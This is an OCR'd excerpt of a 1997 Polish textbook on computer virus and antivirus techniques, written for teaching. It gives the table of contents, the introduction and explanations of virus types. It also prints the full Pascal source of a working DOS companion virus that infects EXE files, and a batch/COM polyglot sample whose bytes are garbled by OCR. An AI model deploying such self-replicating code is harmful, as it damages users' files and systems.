background image

SPIS ROZDZIAŁÓW

Wstęp ............................................ XV
Rozdział 1. Podstawowe wiadomości o wirusach ..............................1
Rozdział 2. Rodzaje wirusów ..............................................................5
Rozdział 3. Podział wirusów ze względu na sposób działania po 
uruchomieniu ..................................................................17
Rozdział 4. Obiekty atakowane przez wirusy ....................................33
Rozdział 5. Instalacja w pamięci operacyjnej ....................................97
Rozdział 6. Przejmowanie przerwań i znajdowanie czystych wejść do 
systemu ........................................................................109
Rozdział 7. Ukrywanie się w systemie operacyjnym .......................143
Rozdział 8. Szyfrowanie kodu ..........................................................173
Rozdział 9. Inne mechanizmy stosowane przez wirusy ...................213
Rozdział 10. Przyszłość wirusów .......................................................235
Rozdział 11. Rodzaje programów antywirusowych ............................241
Rozdział 12. Techniki używane przez programy antywirusowe .........247
Rozdział 13. Konwencje stosowane przez programy antywirusowe 
-standard CARO ............................................................299
Rozdział 14. Profilaktyka antywirusowa ............................................311
Rozdział 15. Literatura .......................................................................319

SPIS TREŚCI
Wstęp XV
Rozdział 1. Podstawowe wiadomości o wirusach .......... 1
1.1. Co to jest i jak działa wirus komputerowy ...............................

3

1.2. Języki programowania wykorzystane do pisania wirusów ...... 4
Rozdział 2. Rodzaje wirusów ..........................................

5

2.1. Wirusy pasożytnicze (ang. parasite infectors) .......................

7

2.2. Wirusy towarzyszące (ang. companion infectors) .................

8

2.3. Wirusy plików wsadowych (ang. batchviruses).......................

12

2.4. Makrowirusy, wirusy makrosów (ang. macroviruses) .............. 13
2.5. Generatory wirusów ................................................................ 14
2.6. Robaki (ang. worms) ..............................................................

14

2.7. Konie trojańskie (ang. trojan horses) ......................................

14

2.8. Bomby logiczne (ang. logical bombs)......................................

15

Rozdział 3. Podział wirusów ze względu na sposób działania
po uruchomieniu ............................................................

17

3.1. Wirusy nierezydentne (ang. non-resident yiruses) ...............

19

3.2. Wirusy rezydentme (ang. resident viruses) ..........................

21

background image

3.2.1. Szybkie infektory (ang. fast infectors) .................................. 31
3.2.2. Wolne infektory (ang. slow infectors) ...................................

32

Rozdział 4. Obiekty atakowane przez wirusy .................. 33
4.1. Pliki...................................................................................35
4.1.1. Pliki wykonywalne COM .............................

35

4.1.2. Pliki wykonywalne EXE ............................... 45
4.1.2.1. Pliki EXE dla systemu DOS (stare EXE) ..................... 45
4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE) ..................   57
4.1.2.2.1. Pliki EXE dla Windows (NE) .............................

59

4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV) ....

66

4.1.4. Pliki systemowe DOS ...............................

75

4.1.4.1. Interpretator poleceń .................................... 75
4.1.4.2. Jądro systemu (ang, kemel infector) ........................ 75
4.1.5. Pliki wsadowe BAT ................................. 76
4.1.6. Pliki DOC .........................................

77

4.1.7. Pliki XLS..........................................

79

4.1.8. Pliki ASM .........................................

80

4.2. Sektory systemowe .................................. 86
4.2.1. Główny Rekord Ładujący (ang. Master Boot Record - MBR) 86
4.3. Rekord ładujący (ang. BOOt-sector)..................... 92
4.4. Jednostki Alokacji Plików (JAP) (ang. dusters) ............

94

4.5. Wirusy kombinowane (ang. multipartition) ................

96

Rozdział 5. Instalacja w pamięci operacyjnej .............

97

5.1. Instalacja w tablicy wektorów przerwań ..................

99

5.2. Instalacja w obszarze zmiennych DOS ..................

100

5.3. Instalacja w pamięci poniżej 640kB i UMB ...............

100

5.4. Instalacja w pamięci HMA .............................

106

5.5. Nietypowe metody instalacji ...........................

107

5.5.1. Pamięć ekranu ....................................

107

5.5.2. Bufory dyskowe DOS ...............................

108

Rozdział 6. Przejmowanie przerwań i znajdowanie czystych
wejść do systemu ...................................

109

6.1. Najczęściej przejmowane i wykorzystywane przerwania .....

111

6.2. Wykorzystanie funkcji DOS ............................

117

6.3. Bezpośrednie zmiany w tablicy wektorów przerwań ,.,,,., 118
6.4. Włączanie się do istniejącego łańcucha obsługi przerwania
i znajdowanie czystych wejść do systemu (ang. tunnelling) ....   119
6.4.1. Korzystanie ze stałych adresów w systemie (przerwania
21hl2Fh) ............................................   120
6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing)...       122
6.4.3. Tuneling rekursywny (ang, recursive tunnelling)...........       122
6.4.4. Trik 2F/13 ........................................      124
6.5. Wykorzystanie trybu chronionego .......................      141
6.6. Włączanie się jako program obsługi urządzenia ...........      142
Rozdział 7. Ukrywanie się w systemie operacyjnym ........    143
7.1. Technika stealth .....................................      145
7.1.1. Podawanie prawdziwych długości plików (ang, semi-stealth)       146

background image

7.1.1.1. Polecenie DIR wywoływane z poziomu DOS .................   146
7.1.1.2. Programy nakładkowe używające krótkich nazw programów
(DOS, Windows 3.1)......................................  149
7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows95)
oraz polecenie DIR wywoływane z poziomu okna Tryb MS-DOS .   150
7.1.2. Podawanie oryginalnych długości i zawartości plików
(ang.full stealth).......................................   152
7.1.3. Podawanie prawdziwej zawartości sektorów (ang. Sectorlevel stealth) 
..............................................   169
7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań sprzętowych 
(ang. hardware level stealth) ...............   169
7.2. Modyfikacja CMOS-a .................................      170
7.3. Atrybut etykiet dysku (ang. VolumeID) ..................      171
7.4. Dodatkowe ścieżki na dyskach .........................      171
Rozdział 8. Szyfrowanie kodu .........................    173
8.1. Procedury szyfrujące kod .............................      177
8.2. Procedury dekodujące ................................      178
8.2.1. Polimorficzne procedury dekodujące ...................       179
8.2.1.1. Semi-polimorfizm ........................................   179
8.2.1.2. Pełny polimorfizm ........................................   193
Rozdział 9. Inne mechanizmy stosowane przez wirusy .....    213
9.1. Sposoby dostępu do dysków ..........................      215
9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyj-
ne i antyheurystyczne ....................................   227
9.3. Optymalizacje kodu ..................................      231
9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi 
monitorami antywirusowymi ....................   232
Rozdział 10. Przyszłość wirusów .........................  235
10.1. Wirusy dla różnych systemów (ang. multisystem, multiplatform
viruses) .............................................   237
10.2. Wirusy infekujące wewnątrzplikowo (ang, surface infectors)       238
10.3. Wirusy zmienne genetycznie (mutujące swój kod) ........      238
10.4. Wirusy infekujące nowe, nie infekowane dotychczas obiekty      239
Rozdział 11. Rodzaje programów antywirusowych .........    241
11.1. Skanery (ang. scaners) .............................      243
11.2. Monitory (ang. behaviour blockers, interceptors, resident
monitors) ............................................   243
11.3. Szczepionki (ang. disinfectors) .......................      244
11.4. Programy autoweryfikujące ..........................      244
11.5. Programy zliczające sumy kontrolne (ang. integniy checkers).     245
Rozdział 12. Techniki używane przez programy antywirusowe 
.......................................    247
12.1. Skaning ..........................................      249
12.2. Heurystycze wyszukiwanie wirusów ....................      272
12.3. Tryb krokowy ......................................     284
12.4. Emulacja procesora .................................      284
12.5. Przynęty (ang. baits, decoys) .........................      285

background image

12.6. Odświeżanie programów systemowych w sektorach .......      285
12.7. Blokowanie programów używających trybu krokowego .....      286
12.8. Pobieranie wielkości pamięci operacyjnej ...............      291
Rozdział 13. Konwencje stosowane przez programy antywiru-
sowe - standard CARO ..............................

299

Rozdział 14. Profilaktyka antywirusowa .................. 311
14.1. Ochrona przed wirusami plików uruchamialnych ......... 313
14.2. Ochrona przed bombami logicznymi i końmi trojańskimi ...

315

14.3. Ochrona przed makrowirusami ........................ 316
Rozdział 15. Literatura ...............................

319

Wstęp

Tematem niiejszego opracowania są wirusy komputerowe jeden z najbardziej 
tajemniczych i kontrowersyjnych tworów istniejących w świecie komputerów.
Od początku swego istnienia wirusy komputerowe były owiane mgłą tajemnicy zaś ich 
twórców uznawano za ludzi wiedzących znacznie więcej niż zwykli śmiertelnicy. 
Tymczasem wirus to zwykły program komputerowy który choć może bardziej 
wyrafinowany od innych jest na pewno o wiele łatwiejszy do napisania niż jakakolwiek 
aplikacja użytkowa czy gra.
Większość spotykanych wirusów to prymitywne przeróbki, bazujące na istniejących od 
dawna, klasycznych już i uznawanych za wzorcowe wirusach, takich Jak Jerusalem, 
Vienna, Stoned, Vacsina czy wirusy Dark Avengera. Przeróbki ograniczają się 
najczęściej do zmiany tekstu wewnątrz wirusa lub ewentualnie sekwencji kodu, czego 
wynikiem jest kolejna z licznych mutacji znanego wirusa. Oprócz nich istnieje bardzo 
mała grupa wirusów, których pojawienie się na komputerowej scenie wiązało się z 
zastosowaniem przez ich autorów nowych, nieznanych jeszcze nikomu sztuczek. Do 
tych ostatnich zaliczają się niewątpliwie wirusy wspomnianego już wyżej Dark Avengera, 
najsłynniejszego chyba twórcy wirusów komputerowych. On to właśnie jako pierwszy 
zastosował metodę zmiennych procedur szyfrujących w swym polimorficznym enginie 
MtE, a także jako jeden z pierwszych potrafił omijać zainstalowane monitory 
antywirusowe, czy odnajdywać oryginalne wejścia do znajdujących się w BIOS-ie 
procedur obsługi przerwania 13h.
Pojawienie się nowego wirusa infekującego nie zajętą jeszcze do tej pory platformę 
sprzętową lub programową budzi zwykle nie lada sensację, zwłaszcza gdy w sprawę 
wmieszają się media, żerujące na
tego typu historiach. Pomimo że najczęściej trywialny, wirus taki otwiera bowiem kolejną 
furtkę dla całej rzeszy późniejszych racjonalizatorów oraz wywołuje istną lawinę 
komentarzy na temat bezpieczeństwa systemów komputerowych.
tak widać, twórcy wirusów tworzą środowisko rządzące się swoimi własnymi prawami. 
Cały czas trwa wyścig nad wymyśleniem jeszcze lepszych lub całkowicie nowych, 
nieznanych wirusów. Ciekawa przykład twórczego podejścia do programowania wirusów 
zademonstrował autor ukrywający się pod pseudonimem Stormbringer w wirusie JUMP. 
Nazwa wirusa nie jest przypadkowa, gdyż, po de-asemblacji listing tego wirusa składa 
się tylko i wyłącznie z samych rozkazów skoków (właściwy kod został sprytnie ukryty 
wewnątrz wirusa).

background image

Prymat w programowaniu wirusów wiodą niezaprzeczalnie mieszkańcy państw byłego 
bloku wschodniego, głównie Bułgarzy, Rosjanie i Słowacy. Dzieje się tak głównie z 
powodu braku, w tych krajach unormowań prawnych dotyczących przestępstw 
komputerowych, które istnieją już w wielu państwach zachodnich.
W dobie globalnej ekspansji sieci Internet w zasadzie każda osoba chcąca dowiedzieć 
się czegoś o wirusach może dostać się do bogatych, istniejących na całym świecie 
archiwów, poświęconych w całości programowaniu wirusów. Oferują one wirusy w wersji 
źródłowej, generatory wirusów, kolekcje złapanych egzemplarzy wirusów, a także tzw. 
ziny, czyli prowadzone przez wyspecjalizowane grupy magazyny (w postaci plików 
tekstowych lub stron HTML), poświęcone programowaniu wirusów (np.: 40HEX, VLAD, 
NukE InfoJournal, VBB, Immortal Riot). Za sprawą Intemetu w skład grup prowadzących 
te magazyny wchodzą ludzie ze wszystkich stron świata, którzy, co ciekawe, najczęściej 
deklarują się jako zagorzali przeciwnicy wirusów destrukcyjnych, a samo 
programowanie wirusów traktują jako swoistą sztukę. Po części mają rację, gdyż pisanie 
wirusów jest nie tylko świetną okazją do dogłębnego poznania systemu operacyjnego, 
ale i sprawdzenia własnych umiejętności programistycznych.
Liczba wirusów złapanych na świecie rośnie z roku na rok i nic me wykazuje na to, aby 
tendencja ta miała ulec gwałtownej zmianie. W kolekcji wirusów należącej do jednej z 
czołowych firm amerykańskich produkującej programy antywirusowe znajduje się 
obecnie ponad 20000 próbek wirusów, z czego ok. 6000 to wirusy całkowicie
różne. Należy pamiętać, iż istnienie wirusów komputerowych jest ściśle związane z 
niedoskonałością zarażanych przez nie systemów operacyjnych. Twórcy wirusów 
skrzętnie wykorzystują do swych celów wszelkie możliwe luki w systemie: 
nieudokumentowane funkcje, systemowe struktury danych, a nawet odnalezione 
własnoręcznie błędy w kodzie systemu. To właśnie wirusy - paradoksalnie - pośrednio 
wpływają na wzrost bezpieczeństwa systemów komputerowych, gdyż kolejne wersje 
różnych środowisk zwykle starają się załatać istniejące luki w systemie.
Osobne miejsce w dyskusjach na temat wirusów zajmują programy antywirusowe (w 
literaturze często określane skrótem AV). O ile pisanie wirusów jest raczej 
indywidualnym procesem twórczym, o tyle pisanie skutecznych programów 
antywirusowych stało się domeną całych grup programistycznych, których członkowie 
muszą posiadać o wiele większą wiedzę na temat wirusów niż typowy twórca wirusów. 
Usuwanie wirusów jest procesem naprawczym, a to wiąże się z odpowiedzialnością, 
którą muszą wziąć na siebie twórcy programów AV. Autorzy wirusów nie muszą 
przejmować się ewentualnymi szkodami powstałymi na skutek ich błędu lub nawet 
zwykłej niewiedzy. W przypadku programów AV nie można pozwolić sobie nawet na 
najmniejsze potknięcie. O ile dodawanie do skanera kolejnych sygnatur typowych i 
trywialnych wirusów to zajęcie zajmujące niewiele czasu, o tyle dekodo-wanie i 
rozszyfrowywanie kodu najnowszych wirusów, używających kilkustopniowych 
zmiennych procedur szyfrujących, sztuczek anty-emulacyjnych, antydebuggerowych i 
antydeasemblerowych, zarażających dużą ilość obiektów i będących zwykle wolnymi 
infektorami, to zadanie zajmujące bardzo dużo czasu, a i tak często okazuje się, iż 
zastosowana metoda nic umożliwia odnalezienia wszystkich wariantów wirusa.
Aby przyspieszyć wymianę informacji na temat wirusów, autorzy różnych programów 
antywirusowych z całego świata utworzyli coś w rodzaju organizacji, która zajmuje się 
zbieraniem danych o istniejących wirusach oraz o technikach ich wykrywania i 
usuwania.

background image

Poniższe rozdziały powinny przynajmniej częściowo wyjaśnić mechanizmy 
wykorzystywane przez nowoczesne wirusy i programy antywirusowe. Oprócz typowych i 
trywialnych sztuczek, stosowanych od dawna przez wyżej wymienione programy, 
omówionych zostało kilka bardziej zaawansowanych technik, m.in.:polimorfizm 
(wykorzystywanie zmiennych procedur szyfrujących);
>  stealth (zaawansowane ukrywanie się w systemie);
>  heurystyka (wykrywanie nowych, nieznanych wirusów na podstawie znajomości 
charakterystycznych ciągów instrukcji).
Do zrozumienia całości materiału niezbędna jest podstawowa znajomość komputerów 
PC oraz systemów DOS i WINDOWS. Niezbędna jest także przynajmniej pobieżna 
znajomość asemblera procesorów 80x86 i jakiegoś języka wysokiego poziomu (np.: 
Pascal, C). Niezorientowanego czytelnika odsyłam do pozycji umieszczonych w spisie 
na końcu książki.
Dla uproszczenia, w opracowaniu została zastosowana pewna konwencja, dotycząca 
używania w tekście funkcji systemu DOS i BIOS. Występujące w tekście skróty 
(XXXX/YY) oznaczają użycie funkcji XXXX przerwania programowego YY. Zapis 
(4B00/21) oznaczać więc będzie instrukcję uruchomienia programu przy użyciu funkcji 
4B00h przerwania programowego 21h obsługiwanego przez DOS, a (4E/4F/21) 
oznaczać będzie wywołanie funkcji 4Eh lub 4Fh przerwania programowego 21h, w tym 
przypadku realizujących poszukiwania pierwszej (funkcja 4Eh) lub kolejnej (funkcja 4Fh) 
pozycji katalogu. Dokładny opis funkcji systemu DOS i BIOS można znaleźć w wielu 
różnych opracowaniach, z których najlepszym i najpełniejszym wydaje się stale 
rozwijana, dostępna w angielskojęzycznej wersji elektronicznej, lista przerwań Interrupt 
List Ralpha Browne'a.
Na koniec warto jeszcze dodać kilka uwag o słownictwie używanym w opracowaniu. 
Większość terminów związanych z komputerami jest siłą rzeczy pochodzenia 
angielskiego. Próby tworzenia ich polskich odpowiedników mijają się najczęściej z 
celem, gdyż powstałe w ten sposób neologizmy nie odzwierciedlają w pełni sensu słów 
angielskich. Liczne przykłady z literatury komputerowej (i nie tylko) ostatnich kilku lat 
dowiodły, iż jedynym sensownym wyjściem z tej sytuacji jest integracja pewnych 
terminów obcojęzycznych z językiem polskim. Z tego też powodu w opracowaniu 
używane są (w niezbędnym minimum) terminy angielskie opatrzone odpowiednimi 
komentarzami w języku polskim. W sytuacji niemożności znalezienia adekwatnego 
polskiego odpowiednika dla słowa angielskiego używane będzie słowo obce (np. 
stealth).

1.1. Co to jest i jak działa wirus komputerowy

Wirus komputerowy definiowany jest najczęściej jako krótki program mający zdolność 
samopowielania po jego uruchomieniu. Jest on zwykle przenoszony w zainfekowanych 
wcześniej plikach lub w pierwszych sektorach fizycznych logicznych dysków. Proces 
infekcji polega zazwyczaj na odpowiedniej modyfikacji struktury pliku albo sektora. 
Zainfekowaną ofiarę często nazywa się nosicielem (ang. host), a proces 
samopowielania - replikacją. Długość typowego wirusa waha się w granicach od 
kilkudziesięciu bajtów do kilku kilobajtów i w dużym stopniu zależy od umiejętności 
programistycznych jego twórcy, a także od języka programowania użytego do jego 
napisania. Od umiejętności i zamierzeń autora zależą także efekty, jakie wirus będzie 

background image

wywoływał w zainfekowanym systemie (oczywiście, nie zawsze musi być to próba 
formatowania dysku twardego).
Większość z istniejących wirusów zawiera tylko kod odpowiedzialny za replikację (ang. 
dropper), natomiast "specjalne efekty" to zwykle działania uboczne spowodowane przez 
błędy.
Z powyższego wynika jednoznacznie, iż pomijając istniejącą zawsze możliwość 
sabotażu, zarażenie komputera wirusem nastąpić może tylko przy niejawnej współpracy 
użytkownika, który, bądź to uruchamiając zarażony program, bądź próbując wczytać 
system z zarażonej dyskietki, a nawet odczytując zainfekowany dokument, 
nieświadomie sam instaluje wirusa w używanym przez siebie komputerze.

1.2. Języki programowania wykorzystywane do pisania wirusów.

Do zaprogramowania wirusa wystarczy znajomość dowolnego popularnego języka 
programowania, np. Pascala czy C, jednak największy procent wirusów pisany jest w 
czystym asemblerze. Spowodowane jest to głównie specyfiką kodu generowanego 
przez ten język, a zwłaszcza jego zwięzłością. Kod maszynowy programu, który z 
punktu widzenia użytkownika nie robi nic, w językach wysokiego poziomu zajmie od 
kilkuset bajtów do kilku, a nawet kilkuset kilobajtów. W asemblerze podobny program 
zajmie od jednego (instrukcja RET w pliku COM) do czterech bajtów (wywołanie funkcji 
4Ch przerwania 21h). Spowodowane jest to tym, iż do każdego wygenerowanego przez 
siebie programu kompilatory języków wysokiego poziomu dodają standardowe prologi i 
epilogi, niewidoczne dla piszącego w danym języku programisty, które są 
odpowiedzialne m.in. za obsługę błędów, stosu, operacje we/wy itp. Można powiedzieć, 
iż długość programu wynikowego (rozumianego jako kod maszynowy) jest wprost 
proporcjonalna do poziomu języka programowania, w którym został on napisany. Na 
korzyść asemblera przemawia także fakt, iż z jego poziomu mamy bardzo dużą 
swobodę w dostępie do pamięci czy portów, a programista ma możliwość świadomego 
wpływu na kształt przyszłego programu, np. w zakresie używanych instrukcji czy 
rozwiązań programowych. Jak widać, programy napisane w asemblerze są optymalne 
pod względem szybkości działania i długości kodu, a więc język ten jest jakby stworzony 
do programowania wirusów. Jedyną wadą asemblera jest to, iż programów w nim 
napisanych nie można przenosić na komputery o innej architekturze, stąd mogą one 
egzystować tylko w jednej rodzinie komputerów.
Oprócz typowych języków programowania do zaprojektowania wirusa można 
wykorzystać języki makr, wbudowane w nowoczesne edytory tekstów lub arkusze 
kalkulacyjne. Zawarte w nich mechanizmy pozwalają na infekcję każdego otwieranego 
przez program dokumentu lub arkusza. Ze względu na poziom abstrakcji na Jakim 
operują języki makr, są one wymarzonym narzędziem do tworzenia wirusów, zwłaszcza 
dla początkujących programistów. Nie muszą się oni bowiem przedzierać przez 
dokumentację systemu czy też formaty infekowanych plików. Wszystkie operacje na 
fizycznych obiektach są zaimplementowane w makrach i wykonują się bez konieczności 
ingerencji programisty.

ROZDZIAŁ 2

2.1. Wirusy pasożytnicze (ang. parasite infectors)

background image

W zasadzie większość istniejących wirusów to wirusy pasożytnicze, które wykorzystują 
swoje ofiary do transportu, modyfikując ich strukturę wewnętrzną. Jedynym ratunkiem 
dla zainfekowanych obiektów jest użycie szczepionki lub w ostateczności kopii 
zapasowych, gdyż zzarażane pliki z reguły nie są przez wirusa leczone. Wyjątek 
stanowią nieliczne wirusy wykorzystujące pliki tylko do transportu między komputerami, 
mające za główny cel infekcję tablicy partycji lub BOOT sektora dysku twardego. Po 
zainfekowaniu któregoś z tych obiektów wirus zmienia działanie i leczy wszystkie 
używane pliki znajdujące się na twardym dysku, a infekuje jedynie pliki już znajdujące 
się na dyskietkach lub dopiero na nie kopiowane.
Ze względu na miejsce zajmowane w zainfekowanych plikach wirusy pasożytnicze dzieli 
się na:
> Wirusy nadpisujące (ang. overwrite infectors), lokujące się na początku pliku, często 
nie zapamiętujące poprzedniej zawartości pliku (co w efekcie nieodwracalnie niszczy 
plik);
> Wirusy lokujące się na końcu pliku (ang. end of file infectors), najbardziej 
rozpowszechniona odmiana wirusów pasożytniczych, które modyfikują pewne ustalone 
struktury na początku pliku tak, aby wskazywały na wirusa, po czym dopisują się na jego 
końcu;
> Wirusy nagłówkowe (ang. header infectors), lokujące się w nagłówku plików EXE 
przeznaczonych dla systemu DOS; wykorzystują one fakt, iż nagłówek plików EXE jest 
standardowo ustawiany przez programy linkujące na wielokrotność jednego sektora 
(512 bajtów). Zwykle wirusy te nie przekraczają rozmiaru jednego sektora i infekuje 
poprzez przejęcie funkcji BIOS służących do odczytu i zapisu sektorów (02,03/13);
> Wirusy lokujące się w pliku w miejscu gdzie jest jakiś pusty, nie wykorzystany obszar 
(np. wypełniony ciągiem zer), który można nadpisać nie niszcząc pliku (ang. cave 
infectors),
> Wirusy lokujące się w dowolnym miejscu pliku (ang. surface infectors), dość rzadkie, 
bardzo trudne do napisania;
> Wirusy wykorzystujące część ostatniej Jednostki Alokacji Pliku JAP (ang. slack space 
infector), korzystające z faktu, iż plik rzadko zajmuje dokładnie wielokrotność jednej JAP.

2.2. Wirusy towarzyszące (ang. companion infectors)

Wirusy tego typu są najczęściej pisane w językach wysokiego poziomu. Atakują one 
pliki, a ich działanie opiera się na hierarchii stosowanej przez DOS podczas 
uruchamiania programów.
W momencie uruchomiania programu, w przypadku nie podania rozszerzenia 
uruchamianego pliku, najpierw poszukiwany jest plik o rozszerzeniu COM, potem EXE, 
a na końcu BAT. W przypadku wykorzystywania interpretatora poleceń 4DOS dochodzą 
Jeszcze pliki BTM, poszukiwane podczas uruchamiania programu przed plikami BAT. 
Na przykład, jeżeli w jednym katalogu istnieją 3 pliki:
- PROG.BAT,
- PROG.COM,
- PROG.EXE,
to kolejność ich uruchamiania byłaby następująca:
- PROG.COM,
- PROG.EXE,

background image

- PROG.BAT.
Plik PROG.COM będzie się uruchamiać, ilekroć będziemy podawać nazwę PROG bez 
rozszerzenia lub z rozszerzeniem COM. Plik PROG.EXE można w tym wypadku 
uruchomić wyłącznie poprzez podanie jego pełnej nazwy, bądź też poprzez uprzednie 
usunięcie pliku PROG.COM z danego katalogu. Z kolei uruchomienie pilku BAT wymaga 
albo usunięcia z katalogu obu plików: PROG-COM i PROG.EXE, albo też podania w linii 
poleceń całej jego nazwy. Jak widać, wirus ma kilka możliwości, aby zainfekować 
uruchamiany program:
- Istnieje plik COM: nie można zastosować infekcji;
- Istnieje plik EXE: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM, 
zawierający wirusa;
- Istnieje plik BAT: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM lub 
EXE, zawierający wirusa.
Następna próba uruchomienia tak zarażonego programu spowoduje najpierw 
uruchomienie podszywającego się pod program wirusa, a dopiero ten, po zakończeniu 
pracy, przekaże sterowanie do programu macierzystego, najczęściej poprzez wywołanie 
programu interpretatora poleceń z parametrem: /C NazwaPlikuOfiary.
Ciekawym rozszerzeniem techniki opisanej powyżej jest sposób infekcji stosowany 
przez wirusy towarzyszące, wykorzystujące zmienną środowiskową PATH (ang. path 
companion infectors). Zmienna PATH określa listę katalogów przeszukiwanych przez 
system DOS podczas uruchamiania programu. Wirus wykorzystujący tę technikę tworzy 
plik, zawierający kod wirusa w innym katalogu, znajdującym się w zmiennej 
środowiskowej PATH przed katalogiem, w którym znajduje się zarażana ofiara. W tym 
wypadku infekcję można zastosować dla dowolnego z plików COM, EXE, BAT, gdyż 
kolejność uruchamiania zależna jest przede wszystkim od zawartości zmiennej PATH. 
Na przykład, jeżeli zmienna środowiskowa PATH określona jest jako:
PATH = C:\;C:\DOS;C:\WINDOWS,
a w katalogu C:\DOS umieścimy plik WIN.BAT, to podczas kolejnego wywoływania 
systemu WINDOWS (poprzez uruchomienie programu C:\WINDOWS\WIN.COM bez 
podawania ścieżki, czyli najczęściej WIN [ENTER]) z katalogu innego niż C:\WINDOWS 
system uruchomi najpierw plik C:\DOS\WIN.BAT, a ten dopiero uruchomi właściwy 
program C:\WINDOWS\WIN.COM. Poniżej przedstawiono przykład prostego wirusa 
towarzyszącego. Jest on napisany w języku Pascal i infekuje parę plików COM, EXE.

(*;------------------------------------------------------------------------;*)
(*;                                                                        ;*)
(*;      Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"     ;*)
(*;                                                                        ;*)
(*;                      KOMPAN v1.0, Autor : Adam Blaszczyk 1997          ;*)
(*;                                                                        ;*)
(*;             Prosty wirus typu towarzyszacego                           ;*)
(*;             Infekuje pliki EXE w biezacym katalogu                     ;*)
(*;             Do istniejacego pliku EXE dopisuje plik o rozszerzeniu COM ;*)
(*;                                                                        ;*)
(*;------------------------------------------------------------------------;*)

background image

{$A-,B-,D-,E-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X-,Y-}
{$M 8192,0,16384}

uses
   Dos, Crt;

const
   MaskaEXE = '*.EXE';

var
   Szuk             : SearchRec;
   NazwaNosiciela,
   NazwaOfiary      : String;
   PlikNosiciela,
   PlikOfiary       : File;
   DlugoscNosiciela : LongInt;
   Bufor            : Pointer;
   I                : Byte;
   Status           : Boolean;

begin

   WriteLn;
   WriteLn (' KOMPAN v1.0, Autor : Adam Blaszczyk 1997');
   WriteLn;

   NazwaNosiciela := ParamStr (0);

   WriteLn (' Czy chcesz uruchomic wirusa (T/N) ?');

   if UpCase(ReadKey)='T' then
   begin

     WriteLn;
     Status :=False;
     FindFirst (MaskaEXE, AnyFile, Szuk);

     while (DosError = 0) and (IOResult = 0) and (not Status) do
        begin
          with Szuk do
          if not ((Name='.')  or
                  (Name='..') or
                  (not (Attr and Directory and VolumeID<>0))) then
             begin
               NazwaOfiary:=Name;

               Delete (NazwaOfiary, Pos ('EXE',NazwaOfiary),3);

background image

               NazwaOfiary:=NazwaOfiary+'COM';

               Assign (PlikOfiary, NazwaOfiary);

               Reset  (PlikOfiary,1);

               if IOResult <> 0 then
                  begin
                     Status:=True;
                     WriteLn  (' Tworze KOMPANA : ',NazwaOfiary);
                     Assign   (PlikNosiciela, NazwaNosiciela);
                     Reset    (PlikNosiciela, 1);

                     DlugoscNosiciela := FileSize (PlikNosiciela);
                     GetMem     (Bufor,DlugoscNosiciela);
                     BlockRead  (PlikNosiciela, Bufor^, DlugoscNosiciela);
                     ReWrite    (PlikOfiary,1);
                     BlockWrite (PlikOfiary   , Bufor^, DlugoscNosiciela);
                     Close      (PlikNosiciela);
                     Close      (PlikOfiary);
                     FreeMem    (Bufor, DlugoscNosiciela);
                  end;
             end;
          FindNext (Szuk);
        end;

        If Not Status then WriteLn (' Nie znalazlem zadnego kandydata do infekcji !');
   end;

      Delete (NazwaNosiciela,Pos ('.COM',NazwaNosiciela),4);
      NazwaNosiciela := '/C '+NazwaNosiciela+'.EXE';

      for I:=1 to ParamCount do
          NazwaNosiciela := NazwaNosiciela +' '+ParamStr(I);

      SwapVectors;
      Exec(GetEnv('COMSPEC'), NazwaNosiciela);
      SwapVectors;
end.

2.3. Wirusy plików wsadowych (ang. batchviruses)

Wirusy plików wsadowych wykorzystujące do transportu pliki BAT, istnieją od dość 
dawna, pomimo raczej ubogiego zestawu środków, jakimi dysponuje ich potencjalny 
twórca. Może wydawać się to niedorzeczne, lecz często potrafią infekować nie tylko pliki 
BAT, ale także pliki COM, EXE czy sektor tablicy partycji (wymaga to odpowiedniego, 

background image

wcale nie tak trudnego, zaprogramowania).
Po uruchomieniu zainfekowanego pliku wsadowego tworzony jest plik uruchamiamy 
COM lub EXE (za pomocą polecenia ECHO, którego parametry są przekierowywane do 
pliku), zawierający właściwy kod infekujący pliki BAT. Po utworzeniu jest on 
wykonywany, a następnie kasowany.
Ze względu na to, iż procesor nie rozróżnia kodu i danych, można, poprzez sprytną 
manipulację, utworzyć plik, który będzie mógł się wykonać zarówno Jako typowy plik 
BAT, jak i plik COM.
Na przykład typowe polecenia plików wsadowych, wykonywane przez procesor jako 
część kodu programu COM, będą rozumiane jako:

polecenie pliku BAT

instrukcje widziane przez procesor

REM

52h PUSH DX ; db 'R' 
45h INC BP  ; db 'E' 
4Dh DEC BP  ; db 'M'

 
ECHO

45h INC BP : db 'E'
43h INC BX : db 'C'
48h DEC AX ; db 'H'
4Fh DEC Dl ; db 'O'

@

40h INC AX ; db '@'

7t0 (deklaracja etykiety - interpretator nie 
wykonuje)

3Ah 37h CMP DH.[BX]; db ':7'
74h 30h JZ $+30h ; 't0'

Po uruchomieniu zainfekowanego w ten sposób pliku BAT wirus kopiuje się do pliku 
tymczasowego o rozszerzeniu COM i wykonuje się, tym razem jako kod maszynowy.
Poniżej zamieszczono przykład prostego pliku (na dyskietce, w katalogu COMBAT), 
który wykonuje się niezależnie od tego, czy jest wywoływany z rozszerzeniem BAT czy 
COM. Po uruchomieniu wyświetla on napis informujący o rozszerzeniu, z jakim został 
wywołany.
:7█:
@ECHO OFF
@ECHO Dzialam jako plik BAT !
@GOTO KONIEC
¬II-I@ªM_-!ªL-!Dzialam jako plik COM !$
:KONIEC

2.4. Makrowirusy, wirusy makrosów (ang. macroviruses)

Tego typu wirusy to jeden z najnowszych pomysłów. Makrowirusy nie zarażają 
programów uruchamiałnych, lecz pliki zawierające definicje makr. Najpopularniejsze 
obiekty infekcji to pliki DOC (dokumenty: Microsoft Word), XLS (arkusze kalkulacyjne: 
Microsoft Excel), SAM (dokumenty: AmiPro).
Do mnożenia się makrowirusy wykorzystują funkcje zawarte w językach makr, 
wbudowanych w powyższe aplikacje, np. WordBasic w Microsoft Word lub Visual Basie 
for Applications w programie Microsoft Excel.

background image

